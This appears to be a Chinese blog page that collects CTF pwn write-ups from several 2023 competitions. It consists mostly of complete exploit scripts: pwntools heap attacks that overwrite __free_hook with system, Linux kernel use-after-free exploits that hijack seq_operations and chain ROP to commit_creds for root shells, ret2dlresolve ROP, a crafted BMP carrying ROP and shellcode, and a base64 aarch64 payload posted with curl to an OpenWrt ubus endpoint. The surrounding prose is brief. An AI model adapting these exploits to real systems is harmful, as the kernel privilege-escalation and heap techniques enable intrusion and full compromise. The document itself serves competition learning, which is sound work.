打过的比赛如果写过wp就堆在这里了,没写的就咕咕咕了x
N1CTF Junior
PWNHUB专场
拿个邀请码开摆!
sh_v1_1
伪代码看着很吓人但是实际上是2.31板子堆
盲调是郝的
touch = add
cat = show
gedit = edit
ln ->构造一个uaf
rm = free
非常恶心的没给libc 2.31小版本貌似是9.9
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#p = process("./sh")
p = remote("121.40.89.206",34883)
elf = ELF("./sh")
libc=ELF('./libc-2.31.so')
def dbg():
gdb.attach(p)
pause()
#touch = malloc cat = show gedit = exit cp = copy ln = copy(double free) rm = free
def add(num,com):
p.sendafter('>>>>',b'touch ')
p.sendline(str(num))
p.sendline(com)
def free(num):
p.sendafter('>>>>',b'rm ')
p.sendline(str(num))
def edit(num,com):
p.sendafter('>>>>',b'gedit ')
p.sendline(str(num))
p.sendline(com)
def show(num):
p.sendafter('>>>>',b'cat ')
p.sendline(str(num))
def uaf(num1,num2):
p.sendafter('>>>>',b'ln ')
p.send(str(num1))
p.send(b' ')
p.sendline(str(num2))
for i in range(0,7):
add(i,b'a'*0x208)
add(7,b'abcd')
uaf(7,8)#leak libc_addr
add(9,b'abcd')
add(11,b'b'*0x208)#top chunk
for i in range(0,7):
free(i)
free(7)
show(8)#leak libc
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
success("libc_base = " + hex(libc_base))
free_hook_addr = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
free(9)
free(11)
for i in range(0,7):
add(50+i,b'a'*0x200)
add(1,p64(0))
add(3,p64(0))
add(2,b'/bin/sh\x00')
uaf(1,10)
free(3)
free(1)
edit(10,p64(free_hook_addr))
log.success("libc_base=%x",libc_base)
log.success("free_hook_addr=%x",free_hook_addr)
log.success("system_addr=%x",system_addr)
add(6,p64(system_addr))
add(7,p64(system_addr))
free(2)
#free(2)
p.interactive()
kheap
uaf打 seq_operation
结构体,leak内核基址劫持start
成员控制执行流
找一个gadget栈迁移即可,现在看来这exp写的好丑,不忍直视md
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t old_start = 0xffffffff8133f980;
typedef struct chunk
{
size_t idx;
size_t size;
} chunk;
long dev_fd;
void add(int fd, int idx)
{
chunk args;
args.idx = idx;
args.size = 0;
ioctl(fd, 0x10000, args);
}
void dele(int fd, int idx)
{
chunk args;
args.idx = idx;
args.size = 0;
ioctl(fd, 0x10001, args);
}
void sele(int fd, int idx)
{
chunk args;
args.idx = idx;
args.size = 0;
ioctl(fd, 0x10002, args);
}
void kWrite(int fd, void *buf)
{
chunk args;
args.idx = 0;
args.size = buf;
ioctl(fd, 0x6666, args);
}
void save_status()
{
__asm__("mov user_cs, %cs;"
"mov user_ss, %ss;"
"mov user_sp, %rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\n\033[0m");
}
void getshell()
{
system("/bin/sh");
}
int main()
{
int offset = 0;
long buf[4] = {0}; // seq_operations
long *stack = mmap(0x39000000 - 0x5000, 0x10000, 0x7, 34, -1, 0);
int fd = open("/dev/kheap", O_RDWR);
if (fd < 0)
{
printf("error");
exit(-1);
}
save_status();
memset(stack, 0xFF, 0x100000);
printf("stack:%p\n", stack);
/*uaf*/
add(fd, 0);
sele(fd, 0);
dele(fd, 0);
/*uaf*/
int stat = open("/proc/self/stat", O_RDONLY);
if (stat < 0)
{
printf("error");
exit(-1);
}
read(fd, buf, 0x20); // seq_operations
long new_start = buf[0];
offset = new_start - old_start;
void (*commit_creds)(void *) = 0xffffffff810ce710 + offset;
void *(*prepare_kernel_cred)() = 0xffffffff810cebf0 + offset;
size_t pop_rdi = 0xffffffff82feb3d1 + offset;
size_t pop_rsi = 0xffffffff8301c6ec + offset;
size_t pop_rdx = 0xffffffff83025050 + offset;
size_t swapgs = 0xffffffff8107c1b0 + offset;
size_t iretq = 0xffffffff82fae1b9 + offset;
size_t mov_rdi_rax = 0xffffffff830154bc + offset;
size_t mov_rax_rdi = 0xffffffff83023c37 + offset;
long *rop = 0x39000000;
int i = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = mov_rdi_rax;
rop[i++] = commit_creds;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
buf[0] = 0xffffffff819f3361 + offset
write(fd,buf,0x20);
read(stat, buf, 0x10);
return 0;
}
2023-RITSEC
ret2win
这个题好像有点问题。。。远程没回显。
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = remote("ret2win.challenges.ctf.ritsec.club",1337)
#p = process("./pwn")
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
def dbg():
gdb.attach(p)
pause()
backdoor = 0x4011C6
payload = b'a'*0x20 + p64(0) + p64(backdoor)
p.sendline(payload)
#p.sendlineafter(b'This is a simple pwn challenge...get to the secret function!!',payload)
p.interactive()
assembly-hopping
同上,栈溢出没有回显,不过这道题没backdoor,打不带leak的rop就可以。
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = remote("assembly-hopping.challenges.ctf.ritsec.club",1337)
#p = process("./pwn")
elf = ELF("./pwn")
rop = ROP(elf)
gadget1 = 0x401232
gadget2 = 0x401218
retn = 0x401016
gets_got = elf.got["gets"]
pop_rdi = 0x40123b
dlresolve = Ret2dlresolvePayload(elf,'system',args=["/bin/sh"])
def dbg():
gdb.attach(p)
pause()
binsh = 0x404e50
payload1 = b'a'*0xd0 + p64(0)
payload1 += p64(gadget1)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(dlresolve.data_addr)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(gets_got)
payload1 += p64(gadget2)
payload1 += p64(0)*7
payload1 += p64(retn)
rop.ret2dlresolve(dlresolve)
payload = payload1 + rop.chain()
#p.sendlineafter(b'Otherwise, pls give feedback of the challenges!!',payload)
p.sendline(payload)
pause()
p.send(dlresolve.payload)
p.interactive()
uaf
和题名一样~,有uaf没开PIE,打free_hook
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = remote("host1.metaproblems.com",5600)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
def dbg():
gdb.attach(p)
pause()
def add(idx ,size,content): #max = 0x20 size = 0x100
p.sendlineafter('5. Exit', '1')
p.sendlineafter('Firewall rule set. Enter your firewall rule here:',content)
def dele(idx):
p.sendlineafter('5. Exit', '4')
p.sendlineafter('Enter the firewall ID which you want to delete:', str(idx))
def edit(idx, data):#off by one
p.sendlineafter('5. Exit', '3')
p.sendlineafter('Enter the firewall ID which you want to edit:', str(idx))
p.sendafter('Edit your new firewall rule here:', data)
def show(idx):
p.sendlineafter('5. Exit', '2')
p.sendlineafter('Enter the firewall ID which you want to view:', str(idx))
for i in range(8):
add(i,0x100,b'a')
for i in range(8,-1,-1):
dele(i)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
log.success("libc_base=%x",libc_base)
log.success("free_hook=%x",free_hook)
log.success("system=%x",system)
add(0,0x100,b'a')
add(1,0x100,b'a')
dele(1)
dele(0)
edit(0,p64(free_hook))
add(0,0x100,p64(system))
add(1,0x100,p64(system))
add(2,0x100,b'/bin/sh\x00')
log.success("free_hook=%x",free_hook)
dele(2)
p.interactive()
alphabet
很明显有个任意地址读,然后他在check过程中有把输入内容copy到堆里的,leak堆地址就可以任意地址读写了,之后是控制执行流,额一开始当时想的是可以打io,然后打栈上触发,后来发现ptr存在栈上,那么就可以分两次进行,第一次将free_got
改为gets
,然后第二次任意地址写把栈上的ptr写成ret地址,打rop就可以了~其实拿到任意地址写之后怎么打都行,比赛时候写的比较乱,可以找找其他师傅的参考。
from pwn import *
import struct
context(arch="amd64",os="linux",log_level="debug")
#p = remote()
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
retn = 0x40101a
def dbg():
gdb.attach(p)
pause()
def my_payload(heap_offset,stack_offset,data):#heap_offset -> leak stack_offset->write ROP
pay = b'\x5a\x08'
pay += p64(heap_offset-18 ,signed = True)+p64(stack_offset-18 ,signed = True)
pay += data
check_sum = 0
for i in pay:
check_sum += i ^ 0x55
check_sum = check_sum & 0xff
pay += p8(check_sum)
return pay
'''
use use_packer ret to rop
'''
'''
step 1 leak libc
'''
p.sendlineafter(b'Running very important code and threads',my_payload(-0xF8,1,p64(0)))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = libc_base - 115 - libc.sym["free"]
log.success("libc_base=%x",libc_base)
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
leave_ret = libc_base + 0x562ec
op = libc_base + libc.sym["open"]
rd = libc_base + libc.sym["read"]
wt = libc_base + libc.sym["write"]
'''
step 2 leak stack
'''
p.sendlineafter(b'Running very important code and threads',my_payload(-0x10,1,p64(0)))
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success("stack_addr=%x",stack_addr)
'''
step 3 leak heap calc的时候拷贝了数据,将上面的数据写到目标地址
'''
p.sendlineafter(b'Running very important code and threads',my_payload(-0x60,0,p64(0)))
p.recvuntil(b"characters: ")
heap_addr = u64(p.recv(3).ljust(8,b'\x00')) + 0x1462
log.success("heap_addr=%x",heap_addr)
'''
rop -> bss
'''
def my_rop(addr,data): #ptr->addr str->addr
global stack_addr
pay = b'\x5a\x08'
pay += p64(-18-(stack_addr-heap_addr),signed = True)
pay += p64(-18-(stack_addr-addr),signed = True)
pay += p64(data)
check_sum = 0
for i in pay:
check_sum += i ^ 0x55
check_sum = check_sum & 0xff
pay += p8(check_sum)
p.sendlineafter(b'Running very important code and threads',pay)
my_rop(0x404500-0x20,u64(b'flag.txt'))
my_rop(0x404500-0x18,u64(b'\x00\x00\x00\x00\x00\x00\x00\x00'))
my_rop(0x404500,pop_rdi)
my_rop(0x404508,0x404500-0x20)
my_rop(0x404510,pop_rsi)
my_rop(0x404518,0)
my_rop(0x404520,pop_rdx_r12)
my_rop(0x404528,0)
my_rop(0x404530,0)
my_rop(0x404538,op)
my_rop(0x404540,pop_rdi)
my_rop(0x404548,3)
my_rop(0x404550,pop_rsi)
my_rop(0x404558,0x404500+0x200)
my_rop(0x404560,pop_rdx_r12)
my_rop(0x404568,0x50)
my_rop(0x404570,0)
my_rop(0x404578,rd)
my_rop(0x404580,pop_rdi)
my_rop(0x404588,1)
my_rop(0x404590,pop_rsi)
my_rop(0x404598,0x404500+0x200)
my_rop(0x4045a0,pop_rdx_r12)
my_rop(0x4045a8,0x50)
my_rop(0x4045b0,0)
my_rop(0x4045b8,wt)
log.success("stack_addr=%x",stack_addr)
'''
rbp->bss ? got-> leave ret?
free->gets ptr->rbp?
leave retn
'''
gets = libc_base + libc.sym["gets"]
free_got = elf.got["free"]
ptr_addr = stack_addr - 0x60
rbp = stack_addr - 0x30
my_rop(free_got,gets)
p.sendline("fuckabcdefg~~~")
my_rop(ptr_addr,rbp)
sleep(1)
p.sendline("fuckabcdefg~~~")
sleep(1)
pp = p64(0x404500-0x8) + p64(leave_ret)
p.sendline(pp)
p.interactive()
steghide
diff之后可以发现patch了一个=号,导致这个height为0的时候出现了栈溢出,之后是找不带leak且不带交互的栈溢出打法。
nightu师傅提醒了下,可以通过利用libc地址偏移一定,利用形如 add regs,value
的gadget将某个函数的got写成调用函数的,到这里可以基本出思路了。
最终选择写got为syscall。
1.非常简单可以想到反弹shell 但是赛时本地打通后发现靶机疑似不出网(实际上赛后发现是docker的libc版本与本地搭建的不一致,所以要利用libc的打法基本都寄啦)
2.根据给出的server.py
,不出网的情况下我们可以尝试将flag写入要输出的文件。这种方法的主要难度是拿到输出文件的名称,根据server.py
,uuid是随机的
但是参数在栈中的相对偏移是一定的,所以可以通过这种方式拿到文件名
ps:如果文件名已知,利用system(cat flag >outfile)
作用类似
from pwn import *
import struct
elf = ELF("./steghide")
libc = ELF("./libc-2.31.so")
context(arch="amd64", os="linux", log_level="debug")
'''
0x0000000000414d29 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000450e8b : pop rdi ; ret
0x000000000042cd0c : pop rdx ; ret
0x0000000000417f3e : pop rsi ; ret
0x00000000004066b3 : syscall
0x0000000000408c14 : mov byte ptr [rsi - 0x76b70001], dh ; ret
0x00000000004049cc : jmp rax
0x0000000000435dbd : jmp rsi
0x0000000000446cab : add dword ptr [rax], edi ; ret 0x1475
0x0000000000418411 : mov edi, dword ptr [rsi - 0x76b70002] ; ret
0x0000000000414d29 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000428a9b : add byte ptr [rax], bh ; ret
0x0000000000404a39 : pop rbp ; ret
0x0000000000450e8b : pop rdi ; ret
0x0000000000412b3d : add dword ptr [rbp - 0x76b70001], edi ; ret
0x48b000 heap_addr
'''
shellcode = '''
/*open flag*/
lea rdi,[rip + 0x60 - 7]
xor rsi,rsi
push 2
pop rax
syscall
mov r8,rax
/* 找到argv里面的文件名称,这个需要计算出偏移.*/
mov rdi,[rsp + 0xdc0]
push 2
pop rax
push 0x42
pop rsi
push 0x1ff
pop rdx
syscall
mov r9,rax
/*利用sendfile系统调用,把一个文件的数据送到另一个文件*/
/*sendfile (out_fd,in_fd,offset,size)*/
mov rdi,r9
mov rsi,r8
xor rdx,rdx
mov r10,0x60
mov rax,40
syscall
xor rdi,rdi
mov rax,60
syscall
'''
payload = asm(shellcode).ljust(0x60,b'A') + b'/steg/flag.txt\x00'
#len = 68
add_rbp_edi = 0x0000000000412b3d
pop_rdi = 0x0000000000450e8b
pop_rsi = 0x0000000000417f3e
pop_rdx = 0x000000000042cd0c
pop_rbp = 0x0000000000404a39
pop_rax_rbx_rbp = 0x0000000000414d29
add_rax_rdi = 0x0000000000446cab
syscall_offset = 0xEC78C
memcpy_got = 0x48A1F0
gettext_plt = elf.plt["gettext"]
gettext_got = elf.got["gettext"]
gettext_offset = 0x32040
memcpy_offset = 0x8C790
heap_addr = 0x48a000
jmp_rax = 0x00000000004049cc
# 创建像素数据
shellcode_len = 0x70
rop_len = 380
pixel_data = b'a' * 0x40 + p64(0) #填充
pixel_data += p64(pop_rbp) + p64(gettext_got + 0x76b70001) + p64(pop_rdi) + p64(syscall_offset - gettext_offset) + p64(add_rbp_edi) #gettext_got -> syscall
#step1 mprotect
mprotect = p64(pop_rax_rbx_rbp) + p64(0x0a) + p64(0) + p64(0) + p64(pop_rdi) + p64(heap_addr) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(0x7) + p64(gettext_plt)
pixel_data += mprotect
#step2 lseek->shellcode
lseek = p64(pop_rax_rbx_rbp) + p64(0x8) + p64(0) + p64(0) + p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0x1a6) + p64(pop_rdx) + p64(0) + p64(gettext_plt)
pixel_data += lseek
#step3 read->heap
read = p64(pop_rax_rbx_rbp) + p64(0x0) + p64(0) + p64(0) + p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(shellcode_len) + p64(gettext_plt)
pixel_data += read
#step4 ret2shellcode
pixel_data += p64(heap_addr)
print(len(pixel_data))
pixel_data += payload
# 设置位图的宽度和高度
width = len(pixel_data)
height = 0
# 计算文件大小
file_size = 54 + width * 3
# 创建bmp文件头
bmp_header = b'BM' + struct.pack('<LHHLL', file_size, 0,
0, 54, 40) + struct.pack(
'<LLHHLL', width, height, 1, 24, 0, 0)
# 将所有数据组合在一起
data = bmp_header + pixel_data
print(len(bmp_header) )
# 打开一个新的文件并将数据写入其中
with open('test.bmp', 'wb') as f:
f.write(data)
把生成的bmp上传即可,赛中远程寄啦因为libc偏移不一样.jpg
2023 D3CTF
d3op
openwrt,hint是diff一下,于是可以找到一个ubus挂了一个base64
直接上手看base64,decode存在栈溢出,想了一下是拿不到shell的,需要orw读出来,程序中有mprotect,官方wp的magic gadget很巧妙,设置x0就可以了
于是可以写出shellcode(后续的格式可以分三次write出来 第一次write前半部分 二次write flag 三次write 后半部分 nightu师傅后面提醒了一下我觉得这样优美多了,改了下payload)
栈溢出存在一点问题
v6下面有两个idx会被覆盖,直接乱写会寄~
简单粗暴一点直接调试到0x418要覆盖到这两个idx的时候把栈里的数据复制出来伪造一下就行。手算一下就是
input_idx = 0x404+0x4*5+0x4+1=0x41d
output_idx=(0x404+0x4*7)/3 * 4 + 0x4 = 0x584
from pwn import *
from os import system
import base64
context(arch='aarch64', os='linux', log_level='debug')
#p = process(["qemu-aarch64","-g","8888","-L","./","./base64", 'call', 'decode'])
p = process(["./base64", 'call', 'decode'])
def dbgg():
gdb.attach(p)
pause()
data_addr = 0x4a2098
magic_gadget = 0x4579A4
# call mprotect(x0[0x92] + x0[0x94], x0[0x93] - x0[0x94], 7
# set x0[0x94] = 0 x0[0x92] = addr x0[0x93] = 0x1000 x
ldr_x0 = 0x00000000004494b8 #: ldr x0, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
shellcode = shellcraft.aarch64.linux.open("/flag", 0)
shellcode += shellcraft.aarch64.linux.read(3, 0x4a2098+0x750, 0x100)
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2098+0x200, 0x10-4)
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2098+0x750, 0x50)
shellcode += shellcraft.aarch64.linux.write(1, 0x4a2098+0x300, 0x10)
shellcode += shellcraft.aarch64.linux.exit(0)
payload = asm(shellcode)
payload = payload.ljust(0x200,b'\x00')
payload += b"{\"output\": \""
payload = payload.ljust(0x300,b'\x00')
payload += b'"}'
payload = payload.ljust(0x350,b'\x00')
payload += p64(0x4a2000)
payload += p64(0x5000)
payload = payload.ljust(0x418,b'\x00')
payload += b'\xff\x0f\x00\x00'
payload += b'\x1d\x04\x00\x00'
payload += b'\x84\x05\x00\x00'
payload += b'\xff\x0f\x00\x00'
payload += p64(0)
payload += p64(ldr_x0)
payload += p64(0) * 4
payload += p64(0)
payload += p64(magic_gadget)
payload += p64(data_addr - 0x490 + 0x350)#x0
payload += p64(data_addr) * 4
payload = payload.ljust(0x800,b'a')
payload = base64.b64encode(payload)
p2 = b'{"input":"' + payload + b'"}'
pause()
p.sendline(p2)
print(p2)
p.interactive()
但是这个payload会寄 因为有不可见字符,调了很久最后才发现是这个问题,以为是输出格式出现什么问题了擦
from pwn import *
from os import system
remote = 'http://127.0.0.1:9999/ubus'
payload = '7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0gH9hNJBCaDyAiCA0ugHgNIBAADUIACA0gFThNJBCaDyggGA0ggIgNIBAADUIACA0gH9hNJBCaDyAgqA0ggIgNIBAADUIACA0gFzhNJBCaDyAgKA0ggIgNIBAADU4AMfqqgLgNIBAADUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB7Im91dHB1dCI6ICIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIn0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIEoAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8PAAAdBAAAhAUAAP8PAAAAAAAAAAAAALiURAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR5RQAAAAAAWB9KAAAAAACYIEoAAAAAAJggSgAAAAAAmCBKAAAAAACYIEoAAAAAAGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE='
shell = '''curl -v -d '{"jsonrpc":"2.0","id":tpzz, "method":"call", "params" : ["00000000000000000000000000000000", "base64", "decode", {"input" : "''' + payload + '''"}]}' ''' + remote
system(shell)
打完
2023 DASCTF Apr
four
未初始化造成的问题,学长说可以leak canary打,但是赛中出题人貌似只希望有预期解不给libc~
1.控制栈上参数为flag
2.利用write_to_fd open flag
3.利用read_from_fd read flag->bss
4.利用stack_overflow 溢出修改args[0]
为bss_addr 用canary的报错带出flag
from pwn import*
p=remote("node4.buuoj.cn",26119)
#p = process("./pwn")
context.log_level = "debug"
def dbg():
gdb.attach(p)
pause()
#1.布置flag2.open3.read->bss4.栈溢出覆盖到argv[0]为bss地址
#1
p.sendlineafter(b'your choice : ',str(2))
p.sendlineafter(b'You can give any value, trust me, there will be no overflow',str(0x5FEF))
p.sendlineafter(b'Actually, this function doesn\'t seem to be useful',b'/flag\x00\x00\x00'*0xBFD)
p.sendafter(b'Really?',b'n')
#2
p.sendlineafter(b'your choice : ',str(3))
p.sendlineafter(b'Enter level:',str(1))
p.sendlineafter(b'Enter mode:',str(1))
p.sendlineafter(b'Enter X:',str(1))
p.sendlineafter(b'Enter a string:',b'a'*0x20)
p.sendlineafter(b'please input filename',b'output.txt')
p.sendlineafter(b'1. yes\n2.no',str(2))
#3
p.sendlineafter(b'your choice : ',str(4))
payload = b'~' + b'3'
payload += b'@' + b'a' + b'*'
payload += b'aaa'
payload += b':\x60\x25\x60'
payload += b'\x00'
p.sendlineafter(b'info>>',payload)
#4
payload = p64(0x602560) * 0x30
p.sendlineafter(b'your choice : ',str(5))
p.sendafter(b'This is a strange overflow. Because of canary, you must not hijack the return address',payload)
p.interactive()
2023 GEEKGAME
mmsg
#include <fcntl.h>
#include <stddef.h>
#include <signal.h>
#define COMMIT_CREDS 0xffffffff8108d350
#define SEQ_OPS_0 0xffffffff8120fac0
#define INIT_CRED 0xffffffff8264c9a0
#define POP_RDI_RET 0xffffffff8144a9cd
#define SWAP 0xffffffff81c00e54
#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666
long dev_fd;
long uaf_fd;
struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};
void readChunk(void *buf)
{
struct mmsg_arg op =
{
.data = buf
};
ioctl(dev_fd, MMSG_GET_DESC, &op);
}
void writeChunk(void *buf)
{
struct mmsg_arg op =
{
.data = buf
};
ioctl(dev_fd, MMSG_PUT_DESC, &op);
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status()
{
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
printf("Save status!\n");
}
size_t buf[0x10];
size_t swapgs_restore_regs_and_return_to_usermode;
size_t init_cred;
size_t pop_rdi_ret;
long seq_fd;
void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
size_t commit_creds;
size_t gadget;
int main(int argc, char ** argv, char ** envp)
{
//signal(SIGSEGV,segsegv);
save_status();
dev_fd = open("/dev/mmsg", O_RDWR);
uaf_fd = open("/dev/mmsg", O_RDWR);
close(uaf_fd);
seq_fd = open("/proc/self/stat", O_RDONLY);
readChunk(buf);
write(1,buf[0],8);
printf("leak kaslr : %llx\n",buf[0]);
puts("done!");
kernel_offset = buf[0] - SEQ_OPS_0;
printf("kernel_offse : 0x%llx\n",kernel_offset);
kernel_base += kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAP + kernel_offset;
init_cred = INIT_CRED + kernel_offset;
pop_rdi_ret = POP_RDI_RET + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
gadget = 0xffffffff81909b8c + kernel_offset;
buf[0] = gadget;
writeChunk(buf);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x999999999;"
"mov r11, 0x114514;"
"mov r10, 0x666666666;"
"mov r9, 0x1919114514;"
"mov r8, 0xabcd1919810;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}